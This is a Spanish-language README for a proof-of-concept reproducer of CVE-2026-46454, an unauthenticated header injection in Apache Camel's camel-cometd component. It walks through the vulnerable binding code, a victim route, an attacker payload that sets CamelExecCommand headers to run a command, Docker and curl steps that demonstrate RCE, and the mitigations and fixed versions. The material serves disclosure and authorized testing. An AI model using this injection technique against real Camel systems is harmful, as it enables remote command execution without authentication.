
Reproductor para CVE-2026-46454 — inyección de cabeceras Bayeux entrantes en camel-cometd de Apache Camel (inyección no autenticada de cabeceras de control de Camel → redirección de productores posteriores / RCE)
Este proyecto demuestra una inyección de cabeceras de mensaje en el componente camel-cometd de Apache Camel, registrada como
CVE-2026-46454. El componente mapea las cabeceras de mensajes Bayeux (CometD) entrantes dentro del Camel Exchange sin
una HeaderFilterStrategy. CometdBinding.createCamelMessage copia el mapa completo ext.CamelHeaders proporcionado
por el cliente CometD directamente sobre el mensaje Camel (message.setHeaders(...)), por lo que cualquier nombre de cabecera — incluidas
las cabeceras de control internas de Camel, como CamelHttpUri, CamelFileName, CamelJmsDestinationName (o, como aquí,
las cabeceras de control camel-exec) — se acepta sin modificaciones. Dado que un CometdComponent no instala ninguna
SecurityPolicy de Bayeux por defecto, cualquier cliente que pueda completar el handshake de Bayeux puede publicar dicho mensaje
sin autenticación y dirigir a los productores posteriores de la ruta.
Aviso: https://camel.apache.org/security/CVE-2026-46454.html
Misma familia de inyección de cabeceras que CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 y CVE-2026-47323 — componentes que mapean cabeceras entrantes dentro del Exchange sin filtrar el espacio de nombres
Camel.
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage); // reads client-supplied ext.CamelHeaders
if (headers != null) {
message.setHeaders(headers); // <-- no HeaderFilterStrategy
}
El cliente controla ext.CamelHeaders, por lo que puede establecer cualquier cabecera de control de Camel en el Exchange. La
corrección (4.14.8 / 4.18.3 / 4.21.0) implementa una HeaderFilterStrategy (un TODO de larga data en el código) que
filtra el espacio de nombres Camel* / camel* sin distinguir mayúsculas/minúsculas en el mapeo entrante.
from("cometd://0.0.0.0:8088/service/inject")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
Un atacante publica en /service/inject con ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; el binding las mapea sobre el Exchange y el productor
exec ejecuta el comando del atacante en su lugar.
Autocontenido: el consumidor camel-cometd ejecuta un servidor Bayeux embebido (puerto 8088) dentro de la aplicación, y el
endpoint /exploit/attack actúa como el cliente CometD no autenticado.
CVE-2026-46454/
├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo")
│ └── ExploitController.java # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
# The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-46454 ls -la /tmp/pwned
docker compose down
Cualquier ruta con un consumidor camel-cometd que alimente a un productor posterior cuyo comportamiento esté controlado por cabeceras
de Camel — un productor HTTP (CamelHttpUri), un productor de archivos (CamelFileName), un productor JMS
(CamelJmsDestinationName), un productor exec (CamelExecCommand*), etc. Cualquier cliente que pueda completar el handshake contra
el endpoint Bayeux puede inyectarlas; no se requiere autenticación por defecto. Las cabeceras inyectadas persisten
a través de los saltos internos direct, seda y vm.
SecurityPolicy de Bayeux en el CometdComponent (por defecto), por lo que cualquier cliente puede publicar.Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), que añade una HeaderFilterStrategy al binding de cometd que
bloquea las cabeceras Camel* / camel* suministradas por el cliente en el mapeo entrante.
Hasta que actualice:
.removeHeaders("Camel*") y .removeHeaders("camel*").SecurityPolicy de Bayeux explícita en el CometdComponent para que solo los clientes autenticados puedan
publicar.Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-cometd |
| Clase afectada | org.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...)) |
| CWE | CWE-20: Validación de entrada incorrecta |
| Impacto | Inyección no autenticada de cabeceras de control de Camel → dirigir productores posteriores (RCE vía exec aquí) |
| Versiones afectadas | Desde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23507 |
| Reporter | Yu Bao (PayPal) |